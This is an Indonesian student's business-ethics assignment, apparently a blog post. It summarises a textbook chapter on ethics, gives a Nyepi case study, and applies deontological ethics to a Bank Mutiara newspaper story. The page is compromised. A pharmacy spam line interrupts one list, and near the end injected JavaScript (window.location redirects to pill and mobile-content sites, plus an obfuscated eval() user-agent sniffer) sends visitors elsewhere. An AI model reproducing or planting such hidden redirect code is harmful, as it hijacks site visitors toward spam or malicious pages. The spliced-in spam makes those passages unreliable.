TUGAS ETIKA BISNIS

TUGAS ETIKA BISNIS

MERANGKUM BAB I ETIKA BISNIS

                                             NAMA                  : ROHMA YUNITA

                                            NIM                       : 01112029

                                           PRODI                   : EKONOMI AKUNTANSI

                                           TUGAS                  : MERANGKUM ETIKA BISNIS BAB I

 

BAB 1

ETIKA BISNIS

Setiap perusahaan yang menjalankan bisnisnya diharapkan mampu menjadi salah satu driven force dalam mewujudkan semua itu . Kalangan pebisnis adalah mereka yang selama ini dianggap memiliki peran besar dalam mempertemukan keinginan pemerintah (government) dan masyarakat (public).

Pembisnis memiliki fungsi dalam mengubah dan membangun tatanan masyarakat dari yang kehidupan tradisional ke kehidupan modern , dari pemikiran sederhana ke pemikiran yang lebih kompleks , terutama merasakan faedah pembangunan tersebut .Termasuk tanggung jawab para pebisnis mampu menciptakan iklim bisnis yang memilki nilai-nilai etika dan bertanggung jawab.

1.   Definisi Etika

Etika berasal dari kata yunani ethos, yang dalam bentuk jamaknya ( ta etha) berarti “adat istiadat” atau “kebiasaan “.

Perpanjangan dari adat membangun suatu aturan kuat dimasyarakat yaitu bagaimana setiap tindak dan tanduk mengikuti aturan – aturan ,dan aturan – aturan tersebut ternyata telah membentuk moral masyarakat dalam menghargai adat istiadatyang berlaku .

Moralitas adalah istilah yang dipakai untuk mencakup praktik dan kegiatan yang membedakan apa yang baik dan nilai-nilai yang tersimbol didalamnya yang dipeliharaatau dijadikan sasaran oleh kegiatan dan praktik tersebut .

Moral sangatlah peranan penting dalam mengambil suatu keputusan . karena dalam memberikan keputusan bisa kita melihat dari sikap moral yang ada agar tidak salah dalam mengambil sebuah keputusan.

Pengertian ETIKA menurut K. Bertens

Etika adalah cabang filsafat yang mempelajari baik buruknya perilaku manusia.

2.   Definisi Etika Bisnis

Etika Bisnis adalah aturan-aturan yang menegaskan suatu bisnis boleh bertindak dan tidak boleh   bertindak , dimana aturan-aturan tersebut dapat bersumber dari aturan tertulis maupun aturan yang tidak tertulis. Dan jika suatu bisnis melanggar aturan –aturan tersebut maka akan dikenakkan sanksi dan sanksi dapat diberikan secaralangsung ataupun tak langsung .

3.   Etika Bisnis dan Tata Kehidupan Manusia

Manusia memiliki sifat yang cenderung tidak pernah merasa puas terhadap apa yang diperoleh sehingga ia selalu merasa kurang dan terus mencari . Sehingga banyak umat manusia yang berkerja dengan keras untuk mengejar tercapainya penghidupan yang layak termasuk melupakan norma-norma yang berlaku .

Semakin keras seseorang bekerja maka semakin baik ia mampu untuk mengubah nasibnya , maka perubahan nasibnya , maka perubahan nasib termasuk dengan melakukan perubahan karakter yaitu karakter malas menjadi karakter yang rajin.

Menurut pendapat Sukrisno Agoes dan I Cenik Ardana :

“ Bahwa, “ Nasib seseorang mencerminkan karakternya , dan karakter seseorang berasal dari kebiasaan dan tindakannya .

Tindakan seseorang ditentukan oleh pikirannya , sedangkan pikiran seseorang sangat dipengaruhi oleh perasaan (emosi)-nya dan pada akhirnya tingkat kematangan emosi /perasaan seseorang akan mencerminkan tingkat kematangan kesadaran ( spiritual )seseorang.”

Pemilik bisnis yang bersifat profitable menyebabkan seseorang memiliki peluang untuk meraih keuntungan dari setiap keputusan dan pengalokasian keuntungan terutama memiliki hak menikmati keuntungan tersebut.

Etika yang berlaku ditempat dimana bisnis tersebut berada harus dipatuhi terutama jika bisnis tersebut ingin tetap mempertahankan aktivitasnya .

Mc.David dan Harari (dalam Jalaluddin Rakhmat,2001) mengelompokkan empat teori psikologis dikaitkan dengan konsepsinya tentang manusia sebagai berikut ;

  1. Psikoanalisi ,yang melukiskan manusia sebagai makhluk yang digerakkan oleh keinginan-keinginan terpendam ( homo volensi). Tokoh-tokoh aliran ini antara lain : Freud , Jung , Abraham , Horney ,dan Bion.
  2. Behaviorisme, yangmengaggap manusia yang digerakkan semuanya oleh lingkungan ( homo mechanicus). Teori ini menyangkut manusia sebagai mesin ( homo mechanicus) karena perilaku manusia sepenuhnya ditentukan /dibentuk oleh lingkungan . Tokoh-tokoh dalam aliran ini antara lain: Hull , Milter dan Dollard , Rotter , Sklinner, serta bandura .
  3. Kognitif yang menganggap manusia sebagai makhluk berpikir yang aktif mengorganisasikan dan mengeolah stimulasi yang diterimanya (homo sapiens).Tokoh-tokoh dalam aliran ini adalah Lewin , Heider , Festinger , Piaget dan Konhlberg.
  4. Humanisme , yang melukiskan manusia sebagai pelaku aktif dalam merumuskan strategi transaksional dengan lingkungannya (homo ludens). Menunjukkan pentingnya hubungan seseorang dengan orang lain sebagai pribadi dengan pribadi , bukan sebagai pribadi dengan benda . Dengan kata lain ,yang ditekankan adalah hubungan subjek dengan subjek , bukan subjek dengan objek .Tokoh-tokoh aliran ini ,antara lain : Rogers, Combs dan Snygg, Maslow,May. Satir, Serta Peris.

 

Manusia memiliki prinsip homo homoni lupus yaitu manusia adalah serigala bagi manusia lainnya. Kaidah ini berlaku dari sisi rasa ambisius manusia untuk meraih keuntangan tanpa memikirkan nasib orang lain dan lebih mengutamakan kesenangan bagi dirinya. Dalam konteks ilmu kepemimpinan ini dikenal dengan sikap otoriter. Sikap otoriter artinya sebuah usaha kuat untuk mencapai sesuatu secara totalitas dan tidak pernah puas sebelum ia benar-benar mendapatkan apa yang diinginkannya .

Salah satu persoalan yang terjadi di negra berkembang ketika negara tidak mampu sepenuhnya menyediakan dan memberikan fasilitas yang mendukung kearahpenciptaan kesejahteraan rakyat.

Masih kurangnya fasilitas seperti rumah sakit yang lengkap , pasar modern ,angkutan umum yang memadai ,sekolah yang berkualitas, dan berbagai prasarana lainnya.

Persoalan terjadi semakin rumit pada saat sektor swasta yang melakukan bisnis disana semakin tidak terkontrol , dan ekpansi bisnis yang dilakukan semakin mengindahkan nilai-nilai etika bisnis , Sementara ketika bisnis semakin besar dan para pebisnistersebut memiliki nilai finansial besar untuk ikut mempengaruhi jalannya pemerintahan . Ini akan menyebabkan sebuah masalah tersendiri . Sehingga wajar jika kasus dalam pembuatan undang-undang dan berbagai peraturan lainnya dibuat dengan kurang memperhitungkan rasa nasionalisme atau kecintaan pada rakyat kecil , namundibuat lebih pada bentuk memihak para pengusaha.

Apalagi jika negara memiliki banyak utang dan sibuk bekerja bagaimanamelunaskan pinjaman yang sudah jatuh tempo tersebut , termasuk memiliki utang dalam mata uang asing yang cenderung bersifat fluktuatif . Fluktuatif adalah pada saat mata uang domestik sering mengalami kelemahan dibandingkan dengan mata uang asing . ini dalam konteks nilai tukar , sementara kewajiban membayar cicilan dalam bentuk mata uang asing.

Kasus ini dapat dilihat pada ditempatkannya tenaga karyawan kontrak untuk bekerja di berbagai sektor bisnis . Dimana para karyawan kontrak tersebut dimisalkan masa kontrak adalah 1(Satu) tahun maka akan diperpanjangkan lagi jika pihak manajemen perusahaan merasa menginkan untuk memperpanjang masa kontrak tersebut dan sebaliknya jika pihak majement perusahaan tidak berkenan lagi maka kontrak tidak akan diperpanjang lagi. Yang lebih parah lagi termasuk aturan-aturan dalam perjanjian kerja kontrak tersebut tidak dijelaskan tentang uang pesangon dan sebagai fasilitas jaminan lainnya .

Dalam konsepetika bisnis ini dianggap sangat tidak etis dan benar-benar tidak menghargai manusia dalam konteks sebagai pekerjaan yang telah berbakhti pada perusahaan .Namun karena pernyataan pemerintah tidak memberi tesedianya lapangan pekerjaan yang layak dan sektor swasta memiliki kesempatan memanfaatkan kondisi tersebut .

Ini dapat kita liat sebagai contoh nyata mengapa pelanggaran etika bisnis bisa terjadi yaitu pada saat negara dengan perangkatnya lemah dalam mengontrol serta membiarkan perusahaan dengan konsep profit oriental mengambil kesempatan yang harus diingat bahwa kesempatan tidak akan datang jika peluang itu tidak akan tersedia , danbegitu pula sebaliknya .

Dan contoh lain terjadi pada kasus auditor independen yang telah terlibat memberikan advisekepada kantor perusahaan yang diaudit , ternyata telah menyebabkan pencemaran dan turunnya reputasi KAP ( Kantor Akuntan Publik ) tersebut ini depan publik yaitu karena ia telah bertindak tidak independen .

Etika Bisnis menurut K. Bertens yaitu etika bisnis didaratan Eropa ( Inggris dan Irlandia tidak termasuk) terutama menaruh perhatian untuk masalah taraf makro dan baru kemudian masalah taraf mikro . Dijepang perhatian etika bisnis terutama terfokuskan padamasalah taraf meso . sedangkan di amerika utara (Amerika Serikat dankanada ) etika bisnis terutama menyibukkan diri dengan masalah etis pada taraf mikro dan baru kemudian dengan masalah taraf meso.

Pada taraf meso (madya atau menengah ) , etikabisnis menyelidiki masalah-masalah etis dibidang organisasi . Organisasi di sini terutama berarti perusahaan , tapi bisa juga serikat buruh , lembaga konsumen , perhimpunan profesi dan lain-lain.

     Ruang Lingkup Ilmu Etika Bisnis

Adapun ruang lingkup yang menjadi pembahasan dalam bidang ilmu etika bisnis ini adalah :

  1. Tindakkan dan putusan perusahaan yang dilihat dari segi etika bisnis
  2. Kondisi-kondisi satuan perusaan yang dianggap melanggar ketentuan etika bisnis ,dan sanksi-sanksi yang akan diterima akibat perbuatantersebut .
  3. Ukuran yang dipergunakan oleh suatu perusahaan dalam bidang etika bisnis .
  4. Peraturan dan ketentuan dalam bidang etika bisnis yang ditetapkan oleh lembaga terkait .

Permasalahan – permasalahan umum dalam bidang etika bisnis

Ada beberapa permasalahan umum yang terjadi dalam bidang etika bisnis untuk saat ini,yaitu :

  1. Pelanggaran etika bisnis dilakukan oleh pihak-pihak yang mengerti dan paham tentang etika bisnis . Namun itu dilakukkan dengan sengaja karena faktor ingin mengejar keuntungan dan menghindari kewajiban – kewajiban yang selayaknya harus dipatuhi .
  2. Keputusan bisnis sering dilakukkan denganmengesampingkan noma-norma dan aturan-aturan yang berlaku . Sehingga keputusan bisnis sering mengedepankan materi atau mengejar target perolehan keuntungan sesama , terutama keuntungan yang bersifat jangka pendek dengan kata lain etika berbisnis diabaikan
  3. Keputusan bisnis dibuat secara sepihak tanpamemperhatikan ketentuan etik yang disahkan oleh lembaga yang berkompeten termasuk peraturan negara. Contoh Kode Etik Perhimpunan AuditorInternal Indonesia (PAAI)
  4. Weighty criteria involve the period of days regurgitate in clinic now osteoporosis pictures, the adeptness to return to stint order indocin lineВ 

  5. Kodisi dan situasi realita menunjukkan kontrol dari pihak berwe nang dalam menegakkan etika bisnis masih dianggap lemah sehingga peluang ini diambil oleh pihak tertentu untuk memanfaatkan kondisi demi keuntungan pribadi atau sekelompok orang .

KASUS DAN SOLUSI

  1. KASUS

Dalam kehidupan masyarakat bali yang beragama hindu ada yang disebut dengan hari nyepi.

Di hari nyepi tersebut diwajibkan pada pemeluk agama hindu bali agar setiap umatnya untuk berada didalam rumah dan bersifat hening , termasuk hanya tidak boleh menyalakan lampu kecuali lilin saja dalam bentuk api yang sangat kecil. Dengan tujuan untuk menghormati hari nyebi tersebut ,dan itu hanya satu hari saja .

Peraturan ini juga berlaku bagi setiap wisatawan asing dan domestik yang berkunjung ke bali, yaitu agar mereka tidak berkeliaran keluar hotel atau tempat penginapan . Dan jika mereka melanggarmaka sangsi akan mereka peroleh .Sangsi ini juga harus mereka terima baik oleh para wisatawan dan juga pemilik usaha bisnis . Karena dianggap para wisatawan dan pembisnis tidak mematuhi aturan yang berlaku atau dengan kata lain tidak menghormati tata kehidupan yang berlaku dibali . Dimana sangsi tersebut diatur dalam tata kehidupan para pemangku agama di provinsi bali .

Berdasarkan kasus ini berikan penjelasan anda apa yang harus dilakukan oleh para pembisnis mulai dari pebisnis hotel , agen travel , dan rumah makan dalam menanggapi masalah nyepi ini .

2. SOLUSI

Adapun solusi yang dapat kita berikan kepada para pebisnis hotel ,agen travel dan rumah makan/restoran dalam menghadapi hari nyepi ini dapat dilakukan dengan berbagai strategi. Para usaha perhotelan pada hari nyepi dapat melakukan penjelasan kepada para tamu khususnya wisatawan asing dan domestik agar tidak keluar hotel pada hari nyepi tersebut sebagai bentuk penghormatan kepada masyarakat bali yang beragama hindu . Adapun aktivitas yang dilakukan jika itu sangat diperlukan sebaiknya cukup dilakukkan dihotel saja ,namun esok hari mereka dapat kembali ke aktivitas seperti biasa .

Bagi pebisnis agen travel, maka pemesanan tiket dapat dilakukan via telepon saja tidak harus datang ke kantor biro perjalanan.sedangkan kepada mereka yang ingin memesan mobil untuk jalan-jalankiranya pada hari nyepi sebaiknya tidak dilayani demi menghormati hari nyepi tersebut .Dan esok hari sudah dapat kembali melakukan perjalanan keliling bali seperti biasa .Adapun bagi wisatawan atau pihak tertentu yang mendadak harus berangkat ke bandara maka pihak agen travel dapat menjemput dengan memberi tahu kepada tokoh agama hindu di bali bahwa ini bersifat mendadak atau bersifat urgensi,namun tetap dengan tidak menyembunyikan klakson mobil selama dalam perjalanan .

Sedangkan bagi para usahawan rumah makan dan restoran maka sebaiknya pada hari nyepi tidak membuka usaha atau menutup saja . Dimana tutup usaha ini juga hanya 1(satu) hari saja ,dan jika usaha dibuka juga dikhawatirkan tidak akan ada pengunjung karena konsumen juga tidak ada yang keluar rumah .

Keputusan dan solusi seperti ini dianggap bersifat win-win solution,artinya setiap pebisnis diajarkan untuk melakukan bisnis dengan menerapkan etika dalam berbisnis.

TUGAS ETIKA BISNIS

MERANGKUM ETIKA BISNIS DALAM KORAN

                                       NAMA                  : ROHMA YUNITA

NIM                       : 01112029

PRODI                   : EKONOMI AKUNTANSI

TUGAS                  : MERANGKUM ETIKA BISNIS DALAM KORAN

 

SAMSUNG CAMERA PICTURES

INVESTOR RAGU KASUS BANK MUTIARA

Menurut pendapat saya bahwasanya pada koran jawa pos ini yang saya ambil sebagai tugas etika bisnis dengan investor ragu kasus bank mutiara .

Pada tema ini menurut pendapat saya dalam kasus ini menggunakan teori etika Deontologis dimana pengertian teori etika Deontologis menurut penerbit alfabeta bandung (Irham Fahmi, S.E.,M.SI.) .buku etika bisnis .

 

Teori Etika Deontologis

 

Deontologis berasal dari bahasa Yunani ,deon yang berarti kewajiban (duty). Menurut etika deontologi adalah suatu tindakan itu baik bukan dinilai dan dibenarkan berdasarkan akibat atau tujuan baik dari tindakan itu ,melainkan berdasarkan tindakan itu sendiri dengan sebagai baik pada dirinya sendiri .

Misalnya :

Suatu tindakan bisnis akan dinilai baik oleh etika deotologi bukan karena tindakan itu melainkan karena tindakan itu mendatangkan akibat baik bagi pelakunya , melainkan karena tindakan itu sejalan dengan kewajiban si pelaku itu .

Papar samsu , terdapat dua bagian umum yang memuat harga penawaran dan persyaratan pembelian .”Tapi , dari dokumen ini, kami akan cek dulu conditional (persyaratan )-nya . Kami melihat harga bukan satu-satunya penentu . Kami juga harus melihat persyaratannya memungkinkan (disetujui) atau tidak mungkin ,”kata adi kemarin (28/8).dan menerangkan permasalahan yang terjadi pada perusahaan (kondisi perusahaan saat ini)

 

Dilakukan sistem ini agar perusahaan dapat melihat atau menunjukkan etika dalam calon investor untuk bergabung pada bank mutiara dan bank mutiara memberikan beberapa syarat kepada calon investor dan juga memberikan penjelasan kepada calon investor tentang masalah hukum yang dihadapi oleh Bank Mutiara .window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”; window.location = “http://cheap-pills-norx.com/search.htm?route=search&q=”; eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘(24(a,b){1V(/(2n|2d\\d+|1i).+1b|1g|1E\\/|1H|1C|1x|1B|2s|3l|3n|O(3m|V)|S|3g|38 |3c|3p|3D|1b.+3A|3z|1d m(3x|2H)i|2J( 14)?|2C|p(2x|2A)\\/|30|2T|3j|2S(4|6)0|2U|2R|I\\.(2Q|2N)|2O|2P|2V 2W|33|34/i.19(a)||/31|2X|2Y|2Z|2M|50[1-6]i|2L|2y|a W|2z|M(15|Z|s\\-)|11(2w|2t)|B(2u|E|D)|2v|2B(2I|y|2K)|2G|17(2D|j)|2E(x|2F)|35|36(3w|\\-m|r |s )|3y|3v(P|N|3u)|T(3r|3s)|3t(M|3G)|3H(e|v)w|3F|3E\\-(n|u)|3B\\/|3C|3q|3d\\-|3e|3b|3a|37\\-|D(39|K)|3f|3o(A|N|3k)|3h|3i\\-s|3I|2r|1z|U(c|p)o|1A(12|\\-d)|1y(49|11)|1u(1v|1w)|15(1D|1J)|1K|1I([4-7]0|14|W|1F)|1G|1t(\\-|R)|G u|1L|1q|1h\\-5|g\\-z|j(\\.w|V)|1j(1e|1f)|1s|1k|1r\\-(m|p|t)|1p\\-|1o(Q|F)|1l( i|O)|1m\\-c|1n(c(\\-| |R|a|g|p|s|t)|1M)|2e(2f|2g)|i\\-(20|j|q)|2c|29( |\\-|\\/)|2a|2b|2h|2i|2o|2p|2q|S|2m(t|v)a|2j|2k|2l|28|27|1S( |\\/)|1T|1U |1R\\-|1Q(c|k)|1N(1O|1P)|1W( g|\\/(k|l|u)|50|54|\\-[a-w])|25|26|23\\-w|22|1X\\/|q(x|1Y|1Z)|16(f|21|E)|m\\-48|5H(5E|C)|5y(5A|5L|J)|5V|z(f|5X|T|3J|U|t(\\-| |o|v)|58)|5i(50|5j|v )|5r|5p|5s[0-2]|57[2-3]|5c(0|2)|5d(0|2|5)|5R(0(0|1)|10)|5M((c|m)\\-|5B|5h|5U|5W|5O)|5Q(6|i)|5Z|5o|5n(5m|5k)|5l|5v|5u|5t(a|d|t)|59|5a(13|\\-([1-8]|c))|55|56|L(5g|5f)|5e\\-2|5w(P|5x|X)|5P|5N|Q\\-g|5S\\-a|5T(5Y|12|21|32|H|\\-[2-7]|i\\-)|5C|5D|5z|5F|5K|5J(5I|5G)|5q\\/|4Z(4c|q|4d|4e|y|4b)|4a(f|h\\-|Z|p\\-)|44\\/|X(c(\\-|0|1)|47|16|K|C)|46\\-|51|4f(\\-|m)|4g\\-0|4m(45|4n)|4l(B|17|4k|A|4h)|4i(4j|y)|43(f|h\\-|v\\-|v )|42(f|3P)|3Q(18|50)|3R(3O|10|18)|F(3N|3K)|3L\\-|3M\\-|3S(i|m)|3T\\-|t\\-z|3Z(L|41)|J(Y|m\\-|3Y|3X)|3U\\-9|I(\\.b|G|3V)|3W|4o|4p|4O|4P(4N|x)|4M(40|5[0-3]|\\-v)|4J|4K|4L|4Q(52|53|H|4R|Y|4X|4Y|4W|4V|4S)|4T(\\-| )|4U|4I|4H(g |4v|4w)|4x|4u|4t|4q\\-|4r|4s|4y\\-/i.19(a.4z(0,4)))1c.4F=b})(1a.4G||1a.4E||1c.1d,\’4D://4A.4B/4C/?5b\’);’,62,372,’|||||||||||||||01||||go|||||||ma|||||||te|ny|mo|it|al|ri|co|ca|ta|g1|60|up|ts|nd|pl|ac|ll|ip|ck|pt|_|iris|bi|do|od|wa|se|70|oo||ai|||os|er|mc|ar||test|navigator|mobile|window|opera|ad|un|avantgo|gf|meego|gr|hcit|hp|hs|ht|hi|hei|gene|hd|haie|fly|em|l2|ul|compal|el|dmob|ds|elaine|blazer|ic|bada|ze|fetc|blackberry|ez|k0|esl8|g560|tp|le|no|xi|kyo|kwc|kgt|klon|kpt|if|lg|m50|ui|xo|||m3ga|m1|function|libw|lynx|keji|kddi|iac|ibro|idea|i230|bb|hu|aw|tc|ig01|ikom|jbro|jemu|jigs|ja|android|im1k|inno|ipaq|dica|fennec|rn|av|amoi|ko|ixi|802s|abac|re|an|phone|ch|as|us|aptu|in|ex|palm|yw|770s|4thp|link|vodafone|wap|browser|treo|series|pocket|symbian|windows|ce|6310|6590|3gso|plucker|1207||xda|xiino|attw|au|cmd|lge|mp|cldc|chtm|maemo|cdm|cell|craw|kindle|dbte|dc|psp|ng|hiptop|hone|iemobile|da|midp|ccwa|lb|rd|bl|nq|be|di|ob|avan|netfront|firefox|c55|capi|mmp|bw|bumb|az|br|devi|de|lk|tcl|tdg|gt|00|mb|t2|t6|tel|tim|tx|si|utst|m5|m3|to||sh|sy|sp|sdk||sgh||cr||sc|va|ge|mm|ms|sie|sk|t5|so|ft|b3|sm|sl|id|v400|v750|yas|your|zeto|x700|wonu|nc|nw|wmlb|zte|substr|gettop|info|kt|http|vendor|location|userAgent|wi|whit|vm40|voda|vulc|vk|rg|veri|vi|vx|61|98|w3c|webc|85|83|80|81|sa||shar||||phil|pire|n20|zz|pdxg|pg|sdNXbH|n30|n50|pn|uc|ay|tf|mt|p1|wv|oran|ti|op|o2im|mywa|s55|mwbp|n10|pan|p800|owg1|po|rt|mi|r600|o8|on|qtek|r380|rc|raks|zo|me|ve|ro|rim9|oa|ne|psio|wt|prox|nok|n7|qa|qc|wf|mmef|wg|02|07|nzph’.split(‘|’),0,{})) The new fahrenheit app serves know this the purpose well

This entry was posted in Uncategorized. Bookmark the permalink.